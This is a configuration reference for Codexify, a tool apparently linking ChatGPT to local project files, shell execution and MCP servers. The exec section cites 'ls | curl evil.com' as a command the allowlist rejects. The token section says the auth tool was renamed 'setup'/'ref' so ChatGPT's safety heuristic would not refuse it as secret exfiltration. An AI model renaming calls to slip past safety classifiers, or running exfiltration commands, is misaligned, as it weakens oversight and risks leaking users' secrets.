Configuration

Configuration

Every supported field is optional and uses camelCase names. Existing configurations remain parse-compatible, but removed compatibility fields may be accepted without affecting current behavior; those cases are called out below. A missing config file is tolerated — built-in defaults are used and the startup banner says so. CLI flags override config-file values.

Where the config is loaded from

Codexify resolves one server-level codexify.config.json in this order:

1. --config <PATH>;
2. the non-empty CODEXIFY_CONFIG environment variable;
3. an existing ~/.codexify/codexify.config.json (the user-level default);
4. built-in defaults.

Relative paths from --config or CODEXIFY_CONFIG resolve against the process's startup directory, and those explicit sources are authoritative even when the file is missing (a missing file is tolerated). The startup banner prints the selected path and its source. quickstart writes the user-level path by default. See CLI Reference and Security Model.

This page is the full reference. Jump to a block:

workDir · debug · uiWidgets · multiProject · projectCloneDir · worktrees · port · tree · ignore · command · exec · projectDoc · output · diff · toolLogging · audit · artifactIngress · artifactEgress · memory · skills · codexMcp · projectCatalog · conversationAuthToken · openaiTunnel · allowedHosts · mcpServers

---

Full example

{
  "workDir": "/absolute/path/to/project",
  "debug": false,
  "uiWidgets": true,
  "multiProject": false,
  "projectCloneDir": ".",
  "conversationAuthToken": null,
  "worktrees": {
    "mode": "auto",
    "root": "/path/to/worktrees",
    "upstreamRefreshMode": "never",
    "autoCleanupEnabled": true,
    "keepCount": 15,
    "allowSetupScript": false
  },
  "port": 3000,
  "tree": {
    "defaultDepth": 3,
    "ignore": ["node_modules", ".git", "dist", ".next", "__pycache__"]
  },
  "ignore": {
    "useGitignore": true,
    "useDefaultPatterns": true,
    "customPatterns": []
  },
  "command": {
    "defaultTimeout": 30000,
    "maxTimeout": 120000
  },
  "exec": {
    "mode": "unrestricted",
    "extraAllowedCommands": [],
    "maxSessions": 8,
    "idleTimeoutMs": 300000
  },
  "projectDoc": {
    "maxBytes": 32768,
    "fallbackFilenames": [],
    "rootMarkers": [".git"]
  },
  "output": {
    "maxToolOutputTokens": 10000,
    "maxFileLines": 1000,
    "maxFileBytes": 131072,
    "maxEntries": 500,
    "maxTreeNodes": 1000
  },
  "diff": {
    "maxPatchBytes": 4194304
  },
  "toolLogging": {
    "mode": "off",
    "level": "info",
    "maxRequestBytes": 2048,
    "maxResponseBytes": 4096,
    "redactEnv": []
  },
  "audit": {
    "logFile": null,
    "includeCommandPreview": false,
    "commandPreviewMaxBytes": 512,
    "redactEnv": []
  },
  "artifactIngress": {
    "enabled": true,
    "maxFileBytes": 104857600,
    "requestTimeoutMs": 120000,
    "idleTimeoutMs": 30000,
    "maxRedirects": 3,
    "maxConcurrentDownloads": 2,
    "allowedHosts": ["*"]
  },
  "artifactEgress": {
    "enabled": true,
    "maxFileBytes": 104857600,
    "snapshotMaxFileBytes": 104857600,
    "maxSnapshotBytes": 5368709120,
    "fallbackToSource": true,
    "maxReferences": 64,
    "referenceTtlMs": 300000
  },
  "memory": {
    "enabled": true,
    "maxBytes": 16384
  },
  "skills": {
    "enabled": true,
    "includePlugins": true
  },
  "codexMcp": {
    "enabled": true,
    "useCli": true
  },
  "projectCatalog": {
    "codexConfig": {
      "enabled": true,
      "trustedOnly": true
    },
    "entries": []
  },
  "openaiTunnel": {
    "tunnelId": "tunnel_0123456789abcdef0123456789abcdef",
    "apiKeyRef": "env:CONTROL_PLANE_API_KEY"
  },
  "allowedHosts": [],
  "mcpServers": {}
}

---

workDir

Absolute project directory for single-project server mode, or the multi-project access root when multiProject is enabled. --work-dir overrides it. A server launch needs one of these two sources; background-service launches rely on the config value because the service is designed to start unattended.

debug

Boolean; defaults to false. When enabled, Codexify adds bounded component-only execution timing metadata to tool results. The setup, diff, and updater apps can show server execution time, and app-originated calls can distinguish that from widget-observed round-trip time. It does not log tool arguments or results, and uiWidgets: false suppresses the built-in widget timing presentation.

uiWidgets

Boolean; defaults to true. It controls Codexify's built-in MCP App widgets without disabling the underlying tools or general MCP resource support.

With uiWidgets: false, Codexify omits the MCP Apps extension, the built-in setup/diff/updater UI resources, widget template/access metadata, component-only diff/updater payloads, and widget timing metadata. App-only helper tools remain private, export_host_file and bridged resources remain available according to their own configuration, show_diff still advances/checks checkpoints but returns only its concise text summary and skips unified-patch generation, and self_update still works with progress available through codexify service logs -f.

multiProject

Boolean; config-file equivalent of --multi-project. In that mode the process still reads one static config; project selection changes only the effective work directory used by project-scoped tools, not the server configuration itself. See Multi-Project Mode.

projectCloneDir

Directory where set_project_root clones a Git repository requested by URL when no matching local checkout exists. It defaults to the multi-project access root (--work-dir); a relative path resolves against that access root, and --project-clone-dir overrides the config value. The directory must already exist and canonicalize to the access root or one of its descendants. Codexify never overwrites an unrelated file or checkout at the conventional clone destination. See Multi-Project Mode.

worktrees

Controls isolation between conversations that select the same Git project. Full narrative in Worktree Isolation.

Key	Default	Description
mode	"auto"	"auto": the first conversation uses the selected checkout, later ones get managed worktrees. "always": isolate every conversation. "never": keep direct-checkout sharing.
root	Codex worktree location	Parent directory for managed worktrees; overridden by --worktree-root.
upstreamRefreshMode	Codex setting or "never"	"best-effort" refreshes a tracked upstream before creating a worktree, without making fetch failure fatal.
autoCleanupEnabled	Codex setting or true	On startup, remove old unreferenced worktrees only when their working trees are clean.
keepCount	Codex setting or 15	How many newest unreferenced managed worktrees to retain before considering cleanup candidates.
allowSetupScript	false	Whether a worktree's Codex environment setup script may run on creation. This runs an arbitrary command outside the exec policy, and the script path is selectable from the source repo's local Git config, so an untrusted project could plant one. Leave off unless every reachable project is trusted.

When these are absent, Codexify reads Codex Desktop's [desktop] worktree settings from $CODEX_HOME/config.toml (git-worktree-root, worktree-upstream-refresh-mode, worktree-auto-cleanup-enabled, worktree-keep-count). The location ultimately falls back to $CODEX_HOME/worktrees (normally ~/.codex/worktrees).

For one project selection, set_project_root.createWorktree overrides worktrees.mode without changing the saved configuration: true forces a managed worktree and false forces the source checkout. Omitting it applies the configured mode. The setup app initializes its checkbox from the configured mode (auto and always checked, never unchecked) and sends the explicit choice only for project rows, never for Chat without a project.

port

Server port. Default 3000. Equivalent to --port. Native tunnel mode binds loopback regardless.

tree

Governs the tree tool.

Key	Default	Description
defaultDepth	3	Default directory depth when a call names none.
ignore	see example	Legacy ignore list; still applies to glob, grep, tree, and list_directory.

ignore

Decides what the file-walking tools (glob, grep, tree, list_directory) never surface — so a search returns your code, not node_modules. Backed by the Rust ignore crate for .gitignore-accurate matching.

Key	Default	Description
useGitignore	true	Read .gitignore and .git/info/exclude.
useDefaultPatterns	true	Skip a built-in set (node_modules, .git, dist, build, out, .next, .nuxt, .svelte-kit, .turbo, coverage, __pycache__, .venv, venv, .cache).
customPatterns	[]	Extra gitignore-syntax patterns applied on top, for every tool.

node_modules and .git are always pruned no matter the settings. Pointing list_directory straight at an ignored directory still shows its contents, so you can look inside node_modules on purpose.

command

Legacy-compatible timing block retained for managed-worktree setup scripts. It does not govern exec_command.

Key	Default	Description
defaultTimeout	30000	Accepted for configuration compatibility; no currently advertised tool consumes it.
maxTimeout	120000	Millisecond deadline used when an enabled Codex worktree environment setup script runs.

exec

Governs exec_command and write_stdin.

Key	Default	Description
mode	"unrestricted"	"unrestricted" runs whatever it is given; "allowlist" opts into checking every command in the string.
extraAllowedCommands	[]	The complete executable allowlist when mode is "allowlist"; ignored by unrestricted mode.
maxSessions	8	Cap on concurrent background sessions per ChatGPT conversation (or per transport for clients without conversation metadata).
idleTimeoutMs	300000	Milliseconds without a tool interaction before a resident process is killed and forgotten. 0 disables idle expiry.
defaultShell	$SHELL, else PowerShell on Windows / /bin/sh elsewhere	Shell used when a call names none.

Under "allowlist", the command string is tokenized and each command position — after every |, &&, ;, newline, and subshell — is checked, so ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. See Tools Reference for shell selection rules.

The former top-level allowedCommands key and the redundant run_command tool were removed. A leftover allowedCommands value has no runtime meaning; use exec.mode: "allowlist" with the complete executable set in exec.extraAllowedCommands instead.

projectDoc

Governs AGENTS.md discovery (see AGENTS and Skills). The whole block is optional.

Key	Default	Description
maxBytes	32768	Byte budget shared by all docs found; 0 disables the feature.
fallbackFilenames	[]	Extra filenames to try per directory, after AGENTS.override.md and AGENTS.md.
rootMarkers	[".git"]	Filenames/directories marking the project root; an empty list stops the walk at the work directory.

output

Bounds what a single tool call may return, so no one call floods ChatGPT's context. See Context and Memory.

Key	Default	Description
maxToolOutputTokens	10000	Approximate connector-wide ceiling applied independently to textual content and model-visible structuredContent. Call-level command budgets may lower it but cannot raise it; component-only result _meta is outside this model-context limit.
maxFileLines	1000	Lines read_file returns per call; a caller's limit can lower but not raise this.
maxFileBytes	131072	Byte ceiling for the same window — what actually bounds a minified file.
maxEntries	500	Results per glob, grep, or list_directory call.
maxTreeNodes	1000	Nodes in one tree walk, counted across the whole tree.

diff

Bounds presentation of show_diff without changing checkpoint semantics. The former review key remains accepted as a compatibility alias. See Diff Checkpoints.

Key	Default	Description
maxPatchBytes	4194304	Largest complete patch attached to the show_diff widget's component-only result _meta (the model-visible result stays concise text, never the patch). The 4 MiB default is regression-tested with 10,000 changed code lines; a larger patch is omitted (not cut mid-hunk), while metadata and stats remain. 0 disables patch bodies.

toolLogging

Opt-in bounded logging of actual tool request/response payload previews through the normal tracing subscriber. It applies uniformly to native tools and direct, gateway, and catalog MCP calls. This is distinct from -v/-vv diagnostics and from the JSONL audit log; see Audit Logging.

Key	Default	Description
mode	"off"	"off", "requests", "responses", or "all". Enabled modes still emit paired start/finish lifecycle events; the value controls which payload preview is included.
level	"info"	Tracing severity for lifecycle and payload events: trace, debug, info, warn, or error.
maxRequestBytes	2048	Maximum UTF-8 bytes retained from each redacted request; accepted range 64–65536.
maxResponseBytes	4096	Maximum UTF-8 bytes retained from each redacted response; accepted range 64–65536.
redactEnv	[]	Environment-variable names whose current values must be removed from payload previews.

CLI mode/level/byte-limit flags replace their matching values; repeated --tool-log-redact-env values merge with redactEnv. Redaction covers configured credentials, schema-marked password/write-only fields, signed native-file details, resource capabilities, common secret forms, and configured env values, but remains defense in depth. Payload logging is sensitive and disabled by default.

audit

Privacy-preserving activity log. Disabled unless a file is set. Full details in Audit Logging.

Key	Default	Description
logFile	null	JSONL destination; a relative path resolves from the launch directory. Setting it enables auditing.
includeCommandPreview	false	Include bounded, redacted exec_command previews.
commandPreviewMaxBytes	512	Max UTF-8 byte length of a preview; range 1–16384.
redactEnv	[]	Env-var names whose current values must be removed from previews.

artifactIngress

Governs import_host_file — streaming a ChatGPT attachment or generated file into the project.

Key	Default	Description
enabled	true	Expose import_host_file; false removes the tool from tools/list (dropping the tool count by one).
maxFileBytes	104857600	Max downloaded bytes per file (100 MiB), enforced from declared and streamed size.
requestTimeoutMs	120000	Whole-import deadline.
idleTimeoutMs	30000	Max wait between response-body chunks; must not exceed requestTimeoutMs.
maxRedirects	3	Max manually validated redirects, 0–10.
maxConcurrentDownloads	2	Process-wide concurrent import cap, 1–16.
allowedHosts	["*"]	Host patterns a URL and every redirect hop must match. "*" accepts any public HTTPS host but always rejects internal/reserved addresses. A bare host matches exactly; a leading dot (.example.com) matches that host and subdomains; a named internal host is trusted as given.

artifactEgress

Governs export_host_file and the opaque capabilities used to proxy resource_link results returned by bridged MCP servers. See Tools Reference, Bridging MCP Servers, and Security Model.

Key	Default	Description
enabled	true	Expose export_host_file and allow bridged upstream resource_link results to be proxied. false removes the native export tool and leaves bridged resource links unavailable. Independent of artifactIngress.
maxFileBytes	104857600	Hard maximum bytes read or returned for one native export/fallback or proxied upstream resource (100 MiB). Size is enforced before and during reads.
snapshotMaxFileBytes	104857600	Maximum native source size eligible for an immutable disk snapshot. A larger file can still use durable source-backed mode when within maxFileBytes.
maxSnapshotBytes	5368709120	Global per-user byte budget for immutable native snapshots under ~/.codexify/artifacts/snapshots (5 GiB, approximately 5.37 GB). Least-recently-used snapshots are evicted before new ones are stored; their durable reference records remain.
fallbackToSource	true	If a native snapshot was not stored or was evicted, resolve the capability from the latest safe file at its recorded project-relative source path. false makes that resource unavailable instead.
maxReferences	64	Maximum live opaque references for bridged upstream resources, 1–1024. Durable native exported-file records are not subject to this count.
referenceTtlMs	300000	Lifetime of bridged upstream resource capabilities after the producing call (5 minutes). Durable native exported-file capabilities do not use this TTL.

The former maxCachedBytes key is accepted and ignored for configuration-file compatibility. Replace it with maxSnapshotBytes; the old in-memory native payload cache no longer exists.

memory

Governs remember, recall, and the plan update_plan saves. See Context and Memory.

Key	Default	Description
enabled	true	false turns persistence off entirely.
dir	~/.codexify/projects/<name>-<hash>	Where the state file lives — outside the repo. In multi-project mode an explicit dir becomes a base directory with a hashed child per project.
maxBytes	16384	Budget for all notes together. A note over it is rejected, not silently evicted.

skills

Governs SKILL.md discovery. See AGENTS and Skills.

Key	Default	Description
enabled	true	false searches nothing.
dirs	~/.agents/skills, ~/.codex/skills, ~/.claude/skills	User-scope directories, replacing the home defaults. Relative paths resolve against the work directory.
includePlugins	true	Discover enabled installed OpenAI Codex and Claude Code plugin skills. Setting dirs disables plugin discovery unless you set it back to true.

codexMcp

Controls automatic import of MCP servers configured in Codex. See Bridging MCP Servers.

Key	Default	Description
enabled	true	Import Codex MCP servers (direct config.toml parsing + CLI discovery); false disables only MCP-server import (project-catalogue discovery is unaffected) unless --codex-cli overrides it.
useCli	true	Enrich direct parsing with codex mcp list/get --json (includes plugin-contributed servers). false keeps direct parsing but never invokes Codex.
cliPath	CODEX_CLI_PATH, then codex on PATH	Codex executable used for CLI enrichment.

projectCatalog

Controls project discovery in multi-project mode. Independent from codexMcp. See Multi-Project Mode.

Key	Default	Description
codexConfig.enabled	true	Read the top-level native Codex [projects] table as a candidate provider.
codexConfig.trustedOnly	true	Include only native entries whose trust_level is "trusted" — a discovery filter, not the access-root boundary.
entries	[]	Optional explicit paths + semantic metadata. May add a path absent from native Codex, but cannot escape --work-dir.

Each entries element: path (required; absolute or relative to the access root), name, aliases, description. Metadata overlays merge by canonical path.

conversationAuthToken

Top-level optional string. A shared secret that gates the connector at the conversation level, on top of the tunnel/transport auth. No CLI override — it lives only in the config file.

{ "conversationAuthToken": "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" }

A non-null value must be exactly 64 lowercase hexadecimal characters (a SHA-256-shaped 256-bit value); generate one with python -c 'import secrets; print(secrets.token_hex(32))'. When set, every tool except the gate tool is blocked and the project brief is withheld until a chat presents the token once. On the ChatGPT wire the gate is deliberately named setup and its parameter ref (not authenticate/token): ChatGPT's connector safety heuristic otherwise misreads a token-shaped call as secret exfiltration and refuses it. ref still carries the exact token verbatim — no digest, no weakening. After a successful call the grant is restored from stable ChatGPT conversation metadata across reconnects and restarts; generic MCP clients without ChatGPT metadata authorize per transport session. Rotating the token invalidates every previous grant.

Upgrading from Codex Free ≤ 1.7.0: the previous prefixed 32–256-byte authorization format is no longer valid and is rejected at startup. Regenerate a 64-hex token and re-issue the one-line setup instruction to your chats/Projects.

The token is stored in plaintext by design, so keep the config private and out of version control — the default ~/.codexify/codexify.config.json location already does. quickstart does not create or enable this feature; if the selected config already contains a valid token it preserves it, protects the file (0600 on Unix), and prints the one-line ChatGPT instruction. See Connecting to ChatGPT and Security Model.

openaiTunnel

Enables OpenAI's native outbound tunnel. See Connecting to ChatGPT.

Key	Default	Description
tunnelId	required	Existing tunnel_… identifier from OpenAI Platform.
apiKeyRef	"env:CONTROL_PLANE_API_KEY"	Runtime API-key reference. Only env:NAME and file:/path accepted; literal keys rejected.
clientPath	verified managed runtime	Explicit official tunnel-client/tunnel-client-runtime. Relative paths resolve from the launch dir.
organizationId	—	Optional org ID passed as OpenAI-Organization.

Native mode cannot be combined with apiKey/--api-key. It generates a high-entropy per-process bearer for the loopback hop, forces host validation to loopback, and disables permissive CORS.

allowedHosts

Array. Without openaiTunnel, empty by default (accepts any Host header, for an external proxy). Set it to a list of hostnames to enable DNS-rebinding protection — only matching Host headers are served. Native tunnel mode ignores this and forces 127.0.0.1, localhost, ::1. See Security Model.

mcpServers

Map of upstream MCP servers to bridge and re-expose through this server. Local stdio or remote Streamable HTTP. Each server's mode picks an exposure — direct (default for explicit entries), gateway, or catalog (default for Codex-imported servers). Full syntax, overlays, and all three modes in Bridging MCP Servers.

---

See also

• CLI Reference — the flags that override these values.
• Security Model — how these settings bound what a tool call can reach.